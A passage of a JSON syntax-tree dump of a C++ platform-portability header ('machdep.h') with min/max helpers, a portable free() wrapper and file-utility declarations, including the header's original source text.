"type": "identifier", "text": "i", "parent": 117, "children": [], "start_point": {"row": 83, "column": 25}, "end_point": {"row": 83, "column": 26}}, {"id": 120, "type": "parameter_declaration", "text": "const size_t& j", "parent": 116, "children": [121, 122], "start_point": {"row": 83, "column": 28}, "end_point": {"row": 83, "column": 43}}, {"id": 121, "type": "primitive_type", "text": "size_t", "parent": 120, "children": [], "start_point": {"row": 83, "column": 34}, "end_point": {"row": 83, "column": 40}}, {"id": 122, "type": "identifier", "text": "j", "parent": 120, "children": [], "start_point": {"row": 83, "column": 42}, "end_point": {"row": 83, "column": 43}}, {"id": 123, "type": "return_statement", "text": "return (i > j ? i : j);", "parent": 106, "children": [124], "start_point": {"row": 85, "column": 2}, "end_point": {"row": 85, "column": 27}}, {"id": 124, "type": "parenthesized_expression", "text": "(i > j ? i : j)", "parent": 123, "children": [125], "start_point": {"row": 85, "column": 9}, "end_point": {"row": 85, "column": 26}}, {"id": 125, "type": "conditional_expression", "text": "i > j ? i : j", "parent": 124, "children": [126, 130, 131, 132], "start_point": {"row": 85, "column": 10}, "end_point": {"row": 85, "column": 25}}, {"id": 126, "type": "binary_expression", "text": "i > j", "parent": 125, "children": [127, 128, 129], "start_point": {"row": 85, "column": 10}, "end_point": {"row": 85, "column": 15}}, {"id": 127, "type": "identifier", "text": "i", "parent": 126, "children": [], "start_point": {"row": 85, "column": 10}, "end_point": {"row": 85, "column": 11}}, {"id": 128, "type": ">", "text": ">", "parent": 126, "children": [], "start_point": {"row": 85, "column": 12}, "end_point": {"row": 85, "column": 13}}, {"id": 129, "type": "identifier", "text": "j", "parent": 126, "children": [], "start_point": {"row": 85, "column": 14}, "end_point": {"row": 85, "column": 15}}, {"id": 130, "type": "?", "text": "?", "parent": 125, "children": [], "start_point": {"row": 85, "column": 17}, "end_point": {"row": 85, "column": 18}}, {"id": 131, "type": "identifier", "text": "i", "parent": 125, "children": [], "start_point": {"row": 85, "column": 20}, "end_point": {"row": 85, "column": 21}}, {"id": 132, "type": "identifier", "text": "j", "parent": 125, "children": [], "start_point": {"row": 85, "column": 24}, "end_point": {"row": 85, "column": 25}}, {"id": 133, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 88, "column": 0}, "end_point": {"row": 88, "column": 6}}, {"id": 134, "type": "identifier", "text": "SUN4", "parent": 0, "children": [], "start_point": {"row": 88, "column": 7}, "end_point": {"row": 88, "column": 11}}, {"id": 135, "type": "function_definition", "text": "static\n#else\ninline\n#endif\nfloat\nLgFrFloatMax (const float i, const float j)\n{\n return (i > j ? i : j);\n}", "parent": 0, "children": [136, 138, 140, 142, 143], "start_point": {"row": 89, "column": 0}, "end_point": {"row": 97, "column": 1}}, {"id": 136, "type": "ERROR", "text": "#else", "parent": 135, "children": [137], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 90, "column": 5}}, {"id": 137, "type": "#else", "text": "#else", "parent": 136, "children": [], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 90, "column": 5}}, {"id": 138, "type": "storage_class_specifier", "text": "inline", "parent": 135, "children": [139], "start_point": {"row": 91, "column": 0}, "end_point": {"row": 91, "column": 6}}, {"id": 139, "type": "inline", "text": "inline", "parent": 138, "children": [], "start_point": {"row": 91, "column": 0}, "end_point": {"row": 91, "column": 6}}, {"id": 140, "type": "ERROR", "text": "#endif", "parent": 135, "children": [141], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 92, "column": 6}}, {"id": 141, "type": "#endif", "text": "#endif", "parent": 140, "children": [], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 92, "column": 6}}, {"id": 142, "type": "primitive_type", "text": "float", "parent": 135, "children": [], "start_point": {"row": 93, "column": 0}, "end_point": {"row": 93, "column": 5}}, {"id": 143, "type": "function_declarator", "text": "LgFrFloatMax (const float i, const float j)", "parent": 135, "children": [144, 145], "start_point": {"row": 94, "column": 0}, "end_point": {"row": 94, "column": 43}}, {"id": 144, "type": "identifier", "text": "LgFrFloatMax", "parent": 143, "children": [], "start_point": {"row": 94, "column": 0}, "end_point": {"row": 94, "column": 12}}, {"id": 145, "type": "parameter_list", "text": "(const float i, const float j)", "parent": 143, "children": [146, 149], "start_point": {"row": 94, "column": 13}, "end_point": {"row": 94, "column": 43}}, {"id": 146, "type": "parameter_declaration", "text": "const float i", "parent": 145, "children": [147, 148], "start_point": {"row": 94, "column": 14}, "end_point": {"row": 94, "column": 27}}, {"id": 147, "type": "primitive_type", "text": "float", "parent": 146, "children": [], "start_point": {"row": 94, "column": 20}, "end_point": {"row": 94, "column": 25}}, {"id": 148, "type": "identifier", "text": "i", "parent": 146, "children": [], "start_point": {"row": 94, "column": 26}, "end_point": {"row": 94, "column": 27}}, {"id": 149, "type": "parameter_declaration", "text": "const float j", "parent": 145, "children": [150, 151], "start_point": {"row": 94, "column": 29}, "end_point": {"row": 94, "column": 42}}, {"id": 150, "type": "primitive_type", "text": "float", "parent": 149, "children": [], "start_point": {"row": 94, "column": 35}, "end_point": {"row": 94, "column": 40}}, {"id": 151, "type": "identifier", "text": "j", "parent": 149, "children": [], "start_point": {"row": 94, "column": 41}, "end_point": {"row": 94, "column": 42}}, {"id": 152, "type": "return_statement", "text": "return (i > j ? i : j);", "parent": 135, "children": [153], "start_point": {"row": 96, "column": 2}, "end_point": {"row": 96, "column": 27}}, {"id": 153, "type": "parenthesized_expression", "text": "(i > j ? i : j)", "parent": 152, "children": [154], "start_point": {"row": 96, "column": 9}, "end_point": {"row": 96, "column": 26}}, {"id": 154, "type": "conditional_expression", "text": "i > j ? i : j", "parent": 153, "children": [155, 159, 160, 161], "start_point": {"row": 96, "column": 10}, "end_point": {"row": 96, "column": 25}}, {"id": 155, "type": "binary_expression", "text": "i > j", "parent": 154, "children": [156, 157, 158], "start_point": {"row": 96, "column": 10}, "end_point": {"row": 96, "column": 15}}, {"id": 156, "type": "identifier", "text": "i", "parent": 155, "children": [], "start_point": {"row": 96, "column": 10}, "end_point": {"row": 96, "column": 11}}, {"id": 157, "type": ">", "text": ">", "parent": 155, "children": [], "start_point": {"row": 96, "column": 12}, "end_point": {"row": 96, "column": 13}}, {"id": 158, "type": "identifier", "text": "j", "parent": 155, "children": [], "start_point": {"row": 96, "column": 14}, "end_point": {"row": 96, "column": 15}}, {"id": 159, "type": "?", "text": "?", "parent": 154, "children": [], "start_point": {"row": 96, "column": 17}, "end_point": {"row": 96, "column": 18}}, {"id": 160, "type": "identifier", "text": "i", "parent": 154, "children": [], "start_point": {"row": 96, "column": 20}, "end_point": {"row": 96, "column": 21}}, {"id": 161, "type": "identifier", "text": "j", "parent": 154, "children": [], "start_point": {"row": 96, "column": 24}, "end_point": {"row": 96, "column": 25}}, {"id": 162, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 99, "column": 0}, "end_point": {"row": 99, "column": 6}}, {"id": 163, "type": "identifier", "text": "SUN4", "parent": 0, "children": [], "start_point": {"row": 99, "column": 7}, "end_point": {"row": 99, "column": 11}}, {"id": 164, "type": "function_definition", "text": "static\n#else\ninline\n#endif\nsize_t\nsize_tMin (const size_t& i, const size_t& j)\n{\n return (i < j ? i : j);\n}", "parent": 0, "children": [165, 167, 169, 171, 172], "start_point": {"row": 100, "column": 0}, "end_point": {"row": 108, "column": 1}}, {"id": 165, "type": "ERROR", "text": "#else", "parent": 164, "children": [166], "start_point": {"row": 101, "column": 0}, "end_point": {"row": 101, "column": 5}}, {"id": 166, "type": "#else", "text": "#else", "parent": 165, "children": [], "start_point": {"row": 101, "column": 0}, "end_point": {"row": 101, "column": 5}}, {"id": 167, "type": "storage_class_specifier", "text": "inline", "parent": 164, "children": [168], "start_point": {"row": 102, "column": 0}, "end_point": {"row": 102, "column": 6}}, {"id": 168, "type": "inline", "text": "inline", "parent": 167, "children": [], "start_point": {"row": 102, "column": 0}, "end_point": {"row": 102, "column": 6}}, {"id": 169, "type": "ERROR", "text": "#endif", "parent": 164, "children": [170], "start_point": {"row": 103, "column": 0}, "end_point": {"row": 103, "column": 6}}, {"id": 170, "type": "#endif", "text": "#endif", "parent": 169, "children": [], "start_point": {"row": 103, "column": 0}, "end_point": {"row": 103, "column": 6}}, {"id": 171, "type": "primitive_type", "text": "size_t", "parent": 164, "children": [], "start_point": {"row": 104, "column": 0}, "end_point": {"row": 104, "column": 6}}, {"id": 172, "type": "function_declarator", "text": "size_tMin (const size_t& i, const size_t& j)", "parent": 164, "children": [173, 174], "start_point": {"row": 105, "column": 0}, "end_point": {"row": 105, "column": 44}}, {"id": 173, "type": "identifier", "text": "size_tMin", "parent": 172, "children": [], "start_point": {"row": 105, "column": 0}, "end_point": {"row": 105, "column": 9}}, {"id": 174, "type": "parameter_list", "text": "(const size_t& i, const size_t& j)", "parent": 172, "children": [175, 178], "start_point": {"row": 105, "column": 10}, "end_point": {"row": 105, "column": 44}}, {"id": 175, "type": "parameter_declaration", "text": "const size_t& i", "parent": 174, "children": [176, 177], "start_point": {"row": 105, "column": 11}, "end_point": {"row": 105, "column": 26}}, {"id": 176, "type": "primitive_type", "text": "size_t", "parent": 175, "children": [], "start_point": {"row": 105, "column": 17}, "end_point": {"row": 105, "column": 23}}, {"id": 177, "type": "identifier", "text": "i", "parent": 175, "children": [], "start_point": {"row": 105, "column": 25}, "end_point": {"row": 105, "column": 26}}, {"id": 178, "type": "parameter_declaration", "text": "const size_t& j", "parent": 174, "children": [179, 180], "start_point": {"row": 105, "column": 28}, "end_point": {"row": 105, "column": 43}}, {"id": 179, "type": "primitive_type", "text": "size_t", "parent": 178, "children": [], "start_point": {"row": 105, "column": 34}, "end_point": {"row": 105, "column": 40}}, {"id": 180, "type": "identifier", "text": "j", "parent": 178, "children": [], "start_point": {"row": 105, "column": 42}, "end_point": {"row": 105, "column": 43}}, {"id": 181, "type": "return_statement", "text": "return (i < j ? i : j);", "parent": 164, "children": [182], "start_point": {"row": 107, "column": 2}, "end_point": {"row": 107, "column": 27}}, {"id": 182, "type": "parenthesized_expression", "text": "(i < j ? i : j)", "parent": 181, "children": [183], "start_point": {"row": 107, "column": 9}, "end_point": {"row": 107, "column": 26}}, {"id": 183, "type": "conditional_expression", "text": "i < j ? i : j", "parent": 182, "children": [184, 188, 189, 190], "start_point": {"row": 107, "column": 10}, "end_point": {"row": 107, "column": 25}}, {"id": 184, "type": "binary_expression", "text": "i < j", "parent": 183, "children": [185, 186, 187], "start_point": {"row": 107, "column": 10}, "end_point": {"row": 107, "column": 15}}, {"id": 185, "type": "identifier", "text": "i", "parent": 184, "children": [], "start_point": {"row": 107, "column": 10}, "end_point": {"row": 107, "column": 11}}, {"id": 186, "type": "<", "text": "<", "parent": 184, "children": [], "start_point": {"row": 107, "column": 12}, "end_point": {"row": 107, "column": 13}}, {"id": 187, "type": "identifier", "text": "j", "parent": 184, "children": [], "start_point": {"row": 107, "column": 14}, "end_point": {"row": 107, "column": 15}}, {"id": 188, "type": "?", "text": "?", "parent": 183, "children": [], "start_point": {"row": 107, "column": 17}, "end_point": {"row": 107, "column": 18}}, {"id": 189, "type": "identifier", "text": "i", "parent": 183, "children": [], "start_point": {"row": 107, "column": 20}, "end_point": {"row": 107, "column": 21}}, {"id": 190, "type": "identifier", "text": "j", "parent": 183, "children": [], "start_point": {"row": 107, "column": 24}, "end_point": {"row": 107, "column": 25}}, {"id": 191, "type": "preproc_ifdef", "text": "#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}\n\n\n// Get name which can be used for a temporary file\nLGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();\n\n// Return true if file exists\nbool LgFrDoesFileExist( const std::string& fileName );\n\nint LgFrStrcmpcaseins( const char* s1, const char* s2 );\n\nvoid LgFrMachdepTest();\n\n#endif", "parent": 0, "children": [192, 193, 194, 221, 230, 240, 255, 260], "start_point": {"row": 110, "column": 0}, "end_point": {"row": 132, "column": 6}}, {"id": 192, "type": "#ifdef", "text": "#ifdef", "parent": 191, "children": [], "start_point": {"row": 110, "column": 0}, "end_point": {"row": 110, "column": 6}}, {"id": 193, "type": "identifier", "text": "SUN4", "parent": 191, "children": [], "start_point": {"row": 110, "column": 7}, "end_point": {"row": 110, "column": 11}}, {"id": 194, "type": "function_definition", "text": "static\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}", "parent": 191, "children": [195, 197, 199, 201, 202], "start_point": {"row": 111, "column": 0}, "end_point": {"row": 119, "column": 1}}, {"id": 195, "type": "ERROR", "text": "#else", "parent": 194, "children": [196], "start_point": {"row": 112, "column": 0}, "end_point": {"row": 112, "column": 5}}, {"id": 196, "type": "#else", "text": "#else", "parent": 195, "children": [], "start_point": {"row": 112, "column": 0}, "end_point": {"row": 112, "column": 5}}, {"id": 197, "type": "storage_class_specifier", "text": "inline", "parent": 194, "children": [198], "start_point": {"row": 113, "column": 0}, "end_point": {"row": 113, "column": 6}}, {"id": 198, "type": "inline", "text": "inline", "parent": 197, "children": [], "start_point": {"row": 113, "column": 0}, "end_point": {"row": 113, "column": 6}}, {"id": 199, "type": "ERROR", "text": "#endif", "parent": 194, "children": [200], "start_point": {"row": 114, "column": 0}, "end_point": {"row": 114, "column": 6}}, {"id": 200, "type": "#endif", "text": "#endif", "parent": 199, "children": [], "start_point": {"row": 114, "column": 0}, "end_point": {"row": 114, "column": 6}}, {"id": 201, "type": "primitive_type", "text": "float", "parent": 194, "children": [], "start_point": {"row": 115, "column": 0}, "end_point": {"row": 115, "column": 5}}, {"id": 202, "type": "function_declarator", "text": "LgFrFloatMin (const float i, const float j)", "parent": 194, "children": [203, 204], "start_point": {"row": 116, "column": 0}, "end_point": {"row": 116, "column": 43}}, {"id": 203, "type": "identifier", "text": "LgFrFloatMin", "parent": 202, "children": [], "start_point": {"row": 116, "column": 0}, "end_point": {"row": 116, "column": 12}}, {"id": 204, "type": "parameter_list", "text": "(const float i, const float j)", "parent": 202, "children": [205, 208], "start_point": {"row": 116, "column": 13}, "end_point": {"row": 116, "column": 43}}, {"id": 205, "type": "parameter_declaration", "text": "const float i", "parent": 204, "children": [206, 207], "start_point": {"row": 116, "column": 14}, "end_point": {"row": 116, "column": 27}}, {"id": 206, "type": "primitive_type", "text": "float", "parent": 205, "children": [], "start_point": {"row": 116, "column": 20}, "end_point": {"row": 116, "column": 25}}, {"id": 207, "type": "identifier", "text": "i", "parent": 205, "children": [], "start_point": {"row": 116, "column": 26}, "end_point": {"row": 116, "column": 27}}, {"id": 208, "type": "parameter_declaration", "text": "const float j", "parent": 204, "children": [209, 210], "start_point": {"row": 116, "column": 29}, "end_point": {"row": 116, "column": 42}}, {"id": 209, "type": "primitive_type", "text": "float", "parent": 208, "children": [], "start_point": {"row": 116, "column": 35}, "end_point": {"row": 116, "column": 40}}, {"id": 210, "type": "identifier", "text": "j", "parent": 208, "children": [], "start_point": {"row": 116, "column": 41}, "end_point": {"row": 116, "column": 42}}, {"id": 211, "type": "return_statement", "text": "return (i < j ? i : j);", "parent": 194, "children": [212], "start_point": {"row": 118, "column": 2}, "end_point": {"row": 118, "column": 27}}, {"id": 212, "type": "parenthesized_expression", "text": "(i < j ? i : j)", "parent": 211, "children": [213], "start_point": {"row": 118, "column": 9}, "end_point": {"row": 118, "column": 26}}, {"id": 213, "type": "conditional_expression", "text": "i < j ? i : j", "parent": 212, "children": [214, 218, 219, 220], "start_point": {"row": 118, "column": 10}, "end_point": {"row": 118, "column": 25}}, {"id": 214, "type": "binary_expression", "text": "i < j", "parent": 213, "children": [215, 216, 217], "start_point": {"row": 118, "column": 10}, "end_point": {"row": 118, "column": 15}}, {"id": 215, "type": "identifier", "text": "i", "parent": 214, "children": [], "start_point": {"row": 118, "column": 10}, "end_point": {"row": 118, "column": 11}}, {"id": 216, "type": "<", "text": "<", "parent": 214, "children": [], "start_point": {"row": 118, "column": 12}, "end_point": {"row": 118, "column": 13}}, {"id": 217, "type": "identifier", "text": "j", "parent": 214, "children": [], "start_point": {"row": 118, "column": 14}, "end_point": {"row": 118, "column": 15}}, {"id": 218, "type": "?", "text": "?", "parent": 213, "children": [], "start_point": {"row": 118, "column": 17}, "end_point": {"row": 118, "column": 18}}, {"id": 219, "type": "identifier", "text": "i", "parent": 213, "children": [], "start_point": {"row": 118, "column": 20}, "end_point": {"row": 118, "column": 21}}, {"id": 220, "type": "identifier", "text": "j", "parent": 213, "children": [], "start_point": {"row": 118, "column": 24}, "end_point": {"row": 118, "column": 25}}, {"id": 221, "type": "declaration", "text": "LGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();", "parent": 191, "children": [222, 223, 227], "start_point": {"row": 123, "column": 0}, "end_point": {"row": 123, "column": 58}}, {"id": 222, "type": "type_identifier", "text": "LGFR_DECLSPEC", "parent": 221, "children": [], "start_point": {"row": 123, "column": 0}, "end_point": {"row": 123, "column": 13}}, {"id": 223, "type": "ERROR", "text": "std::string LGFR_STDCALL", "parent": 221, "children": [224, 225, 226], "start_point": {"row": 123, "column": 14}, "end_point": {"row": 123, "column": 38}}, {"id": 224, "type": "identifier", "text": "std", "parent": 223, "children": [], "start_point": {"row": 123, "column": 14}, "end_point": {"row": 123, "column": 17}}, {"id": 225, "type": "identifier", "text": "string", "parent": 223, "children": [], "start_point": {"row": 123, "column": 19}, "end_point": {"row": 123, "column": 25}}, {"id": 226, "type": "identifier", "text": "LGFR_STDCALL", "parent": 223, "children": [], "start_point": {"row": 123, "column": 26}, "end_point": {"row": 123, "column": 38}}, {"id": 227, "type": "function_declarator", "text": "LgFrTempFileName()", "parent": 221, "children": [228, 229], "start_point": {"row": 123, "column": 39}, "end_point": {"row": 123, "column": 57}}, {"id": 228, "type": "identifier", "text": "LgFrTempFileName", "parent": 227, "children": [], "start_point": {"row": 123, "column": 39}, "end_point": {"row": 123, "column": 55}}, {"id": 229, "type": "parameter_list", "text": "()", "parent": 227, "children": [], "start_point": {"row": 123, "column": 55}, "end_point": {"row": 123, "column": 57}}, {"id": 230, "type": "declaration", "text": "bool LgFrDoesFileExist( const std::string& fileName );", "parent": 191, "children": [231, 232], "start_point": {"row": 126, "column": 0}, "end_point": {"row": 126, "column": 54}}, {"id": 231, "type": "primitive_type", "text": "bool", "parent": 230, "children": [], "start_point": {"row": 126, "column": 0}, "end_point": {"row": 126, "column": 4}}, {"id": 232, "type": "function_declarator", "text": "LgFrDoesFileExist( const std::string& fileName )", "parent": 230, "children": [233, 234], "start_point": {"row": 126, "column": 5}, "end_point": {"row": 126, "column": 53}}, {"id": 233, "type": "identifier", "text": "LgFrDoesFileExist", "parent": 232, "children": [], "start_point": {"row": 126, "column": 5}, "end_point": {"row": 126, "column": 22}}, {"id": 234, "type": "parameter_list", "text": "( const std::string& fileName )", "parent": 232, "children": [235], "start_point": {"row": 126, "column": 22}, "end_point": {"row": 126, "column": 53}}, {"id": 235, "type": "parameter_declaration", "text": "const std::string& fileName", "parent": 234, "children": [236, 237, 239], "start_point": {"row": 126, "column": 24}, "end_point": {"row": 126, "column": 51}}, {"id": 236, "type": "type_identifier", "text": "std", "parent": 235, "children": [], "start_point": {"row": 126, "column": 30}, "end_point": {"row": 126, "column": 33}}, {"id": 237, "type": "ERROR", "text": "::string&", "parent": 235, "children": [238], "start_point": {"row": 126, "column": 33}, "end_point": {"row": 126, "column": 42}}, {"id": 238, "type": "identifier", "text": "string", "parent": 237, "children": [], "start_point": {"row": 126, "column": 35}, "end_point": {"row": 126, "column": 41}}, {"id": 239, "type": "identifier", "text": "fileName", "parent": 235, "children": [], "start_point": {"row": 126, "column": 43}, "end_point": {"row": 126, "column": 51}}, {"id": 240, "type": "declaration", "text": "int LgFrStrcmpcaseins( const char* s1, const char* s2 );", "parent": 191, "children": [241, 242], "start_point": {"row": 128, "column": 0}, "end_point": {"row": 128, "column": 56}}, {"id": 241, "type": "primitive_type", "text": "int", "parent": 240, "children": [], "start_point": {"row": 128, "column": 0}, "end_point": {"row": 128, "column": 3}}, {"id": 242, "type": "function_declarator", "text": "LgFrStrcmpcaseins( const char* s1, const char* s2 )", "parent": 240, "children": [243, 244], "start_point": {"row": 128, "column": 4}, "end_point": {"row": 128, "column": 55}}, {"id": 243, "type": "identifier", "text": "LgFrStrcmpcaseins", "parent": 242, "children": [], "start_point": {"row": 128, "column": 4}, "end_point": {"row": 128, "column": 21}}, {"id": 244, "type": "parameter_list", "text": "( const char* s1, const char* s2 )", "parent": 242, "children": [245, 250], "start_point": {"row": 128, "column": 21}, "end_point": {"row": 128, "column": 55}}, {"id": 245, "type": "parameter_declaration", "text": "const char* s1", "parent": 244, "children": [246, 247], "start_point": {"row": 128, "column": 23}, "end_point": {"row": 128, "column": 37}}, {"id": 246, "type": "primitive_type", "text": "char", "parent": 245, "children": [], "start_point": {"row": 128, "column": 29}, "end_point": {"row": 128, "column": 33}}, {"id": 247, "type": "pointer_declarator", "text": "* s1", "parent": 245, "children": [248, 249], "start_point": {"row": 128, "column": 33}, "end_point": {"row": 128, "column": 37}}, {"id": 248, "type": "*", "text": "*", "parent": 247, "children": [], "start_point": {"row": 128, "column": 33}, "end_point": {"row": 128, "column": 34}}, {"id": 249, "type": "identifier", "text": "s1", "parent": 247, "children": [], "start_point": {"row": 128, "column": 35}, "end_point": {"row": 128, "column": 37}}, {"id": 250, "type": "parameter_declaration", "text": "const char* s2", "parent": 244, "children": [251, 252], "start_point": {"row": 128, "column": 39}, "end_point": {"row": 128, "column": 53}}, {"id": 251, "type": "primitive_type", "text": "char", "parent": 250, "children": [], "start_point": {"row": 128, "column": 45}, "end_point": {"row": 128, "column": 49}}, {"id": 252, "type": "pointer_declarator", "text": "* s2", "parent": 250, "children": [253, 254], "start_point": {"row": 128, "column": 49}, "end_point": {"row": 128, "column": 53}}, {"id": 253, "type": "*", "text": "*", "parent": 252, "children": [], "start_point": {"row": 128, "column": 49}, "end_point": {"row": 128, "column": 50}}, {"id": 254, "type": "identifier", "text": "s2", "parent": 252, "children": [], "start_point": {"row": 128, "column": 51}, "end_point": {"row": 128, "column": 53}}, {"id": 255, "type": "declaration", "text": "void LgFrMachdepTest();", "parent": 191, "children": [256, 257], "start_point": {"row": 130, "column": 0}, "end_point": {"row": 130, "column": 23}}, {"id": 256, "type": "primitive_type", "text": "void", "parent": 255, "children": [], "start_point": {"row": 130, "column": 0}, "end_point": {"row": 130, "column": 4}}, {"id": 257, "type": "function_declarator", "text": "LgFrMachdepTest()", "parent": 255, "children": [258, 259], "start_point": {"row": 130, "column": 5}, "end_point": {"row": 130, "column": 22}}, {"id": 258, "type": "identifier", "text": "LgFrMachdepTest", "parent": 257, "children": [], "start_point": {"row": 130, "column": 5}, "end_point": {"row": 130, "column": 20}}, {"id": 259, "type": "parameter_list", "text": "()", "parent": 257, "children": [], "start_point": {"row": 130, "column": 20}, "end_point": {"row": 130, "column": 22}}, {"id": 260, "type": "#endif", "text": "#endif", "parent": 191, "children": [], "start_point": {"row": 132, "column": 0}, "end_point": {"row": 132, "column": 6}}]}, "node_categories": {"declarations": {"functions": [72, 76, 106, 114, 135, 143, 164, 172, 194, 202, 227, 232, 242, 257], "variables": [79, 117, 120, 146, 149, 175, 178, 205, 208, 221, 230, 235, 240, 245, 250, 255], "classes": [73, 109, 138, 167, 197], "imports": [6, 7, 9, 10, 12, 13], "modules": [], "enums": []}, "statements": {"expressions": [85, 86, 90, 95, 98, 124, 126, 153, 155, 182, 184, 212, 214], "assignments": [], "loops": [], "conditionals": [1, 2, 5, 15, 16, 19, 23, 29, 31, 32, 33, 34, 37, 39, 40, 41, 42, 45, 48, 49, 50, 51, 54, 57, 62, 65, 69, 71, 77, 83, 84, 87, 91, 94, 96, 99, 102, 103, 104, 105, 112, 115, 119, 122, 125, 127, 129, 131, 132, 133, 134, 141, 144, 148, 151, 154, 156, 158, 160, 161, 162, 163, 170, 173, 177, 180, 183, 185, 187, 189, 190, 191, 192, 193, 200, 203, 207, 210, 213, 215, 217, 219, 220, 222, 224, 225, 226, 228, 233, 236, 238, 239, 243, 249, 254, 258, 260], "returns": [123, 152, 181, 211], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14, 60, 61, 89], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 72, "universal_type": "function", "name": "portableFree", "text_snippet": "inline\nvoid\nportableFree (void * mem) \n{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n\t(c"}, {"node_id": 76, "universal_type": "function", "name": "unknown", "text_snippet": "portableFree (void * mem)"}, {"node_id": 106, "universal_type": "function", "name": "unknown", "text_snippet": "static\n#else\ninline\n#endif\nsize_t\nsize_tMax (const size_t& i, const size_t& j)\n{\n return (i > j ? "}, {"node_id": 114, "universal_type": "function", "name": "unknown", "text_snippet": "size_tMax (const size_t& i, const size_t& j)"}, {"node_id": 135, "universal_type": "function", "name": "unknown", "text_snippet": "static\n#else\ninline\n#endif\nfloat\nLgFrFloatMax (const float i, const float j)\n{\n return (i > j ? i"}, {"node_id": 143, "universal_type": "function", "name": "unknown", "text_snippet": "LgFrFloatMax (const float i, const float j)"}, {"node_id": 164, "universal_type": "function", "name": "unknown", "text_snippet": "static\n#else\ninline\n#endif\nsize_t\nsize_tMin (const size_t& i, const size_t& j)\n{\n return (i < j ? "}, {"node_id": 172, "universal_type": "function", "name": "unknown", "text_snippet": "size_tMin (const size_t& i, const size_t& j)"}, {"node_id": 194, "universal_type": "function", "name": "unknown", "text_snippet": "static\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i"}, {"node_id": 202, "universal_type": "function", "name": "unknown", "text_snippet": "LgFrFloatMin (const float i, const float j)"}, {"node_id": 227, "universal_type": "function", "name": "unknown", "text_snippet": "LgFrTempFileName()"}, {"node_id": 232, "universal_type": "function", "name": "unknown", "text_snippet": "LgFrDoesFileExist( const std::string& fileName )"}, {"node_id": 242, "universal_type": "function", "name": "unknown", "text_snippet": "LgFrStrcmpcaseins( const char* s1, const char* s2 )"}, {"node_id": 257, "universal_type": "function", "name": "unknown", "text_snippet": "LgFrMachdepTest()"}], "class_declarations": [{"node_id": 73, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 109, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 138, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 167, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}, {"node_id": 197, "universal_type": "class", "name": "unknown", "text_snippet": "inline"}], "import_statements": [{"node_id": 6, "text": "#include <string>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <stdlib.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <scenario/src/dll.h>\n"}, {"node_id": 13, "text": "#include"}]}, "original_source_code": "#ifndef ScenarioMachdep_H\n#define ScenarioMachdep_H\n// RW2STL -- inserted:\n#include <string>\n// End of RW2STL -- inserted includes.\n\n#include <stdlib.h>\n\n#include <scenario/src/dll.h>\n\n\n#if defined(_MSC_VER)\n//# define CMRP_DATA_PATH \"..\\\\..\\\\..\\\\cmrpData\\\\\"\n# define CMRP_DATA_PATH \"..\\\\..\\\\cmrpData\\\\\"\n#else\n# define CMRP_DATA_PATH \"../../cmrpData/\"\n#endif\n\n#ifdef RS6K\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n#endif\n\n#ifdef SUN4\n/* Sun or GNU gcc seems to not have $ NLS support in stdio print routines,\n * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */\n \n/* Platform lacks ansi function strerror */\n#define NO_ANSI_STRERROR\n#define SPRINTF_NON_INT_RET\n\n#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n// used in difCmrpF.C\n#define EXIT_FAILURE 1\n\n#endif\n\n//-----------------------------------------------------------------------------\n// portableFree\n//\n// Function that hides incompatibilities between various versions of\n// free()\n//-----------------------------------------------------------------------------\ninline\nvoid\nportableFree (void * mem) \n{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n\t(char *)\n#endif\n\t mem);\n}\n\n// Sun CC was generating the following error messages when this was inline\n// \"../src/timeVecs.C\", line 46: warning:\n// size_tsize_tMax(const size_t&, const size_t&) not inlined,\n// called twice in an expression\n// \"../src/timeVecs.C\", line 335: warning:\n// out-of-line copy of size_tMax() created\n// \"../../scenario/src/machdep.h\", line 43: identifier redeclared:\n// size_tMax__FRCUiT1\n// \"../src/timeVecs.C\", line 337: warning:\n// static function called but not defined: size_tMax__FRCUiT1()\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMax (const size_t& i, const size_t& j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMax (const float i, const float j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMin (const size_t& i, const size_t& j)\n{\n return (i < j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}\n\n\n// Get name which can be used for a temporary file\nLGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();\n\n// Return true if file exists\nbool LgFrDoesFileExist( const std::string& fileName );\n\nint LgFrStrcmpcaseins( const char* s1, const char* s2 );\n\nvoid 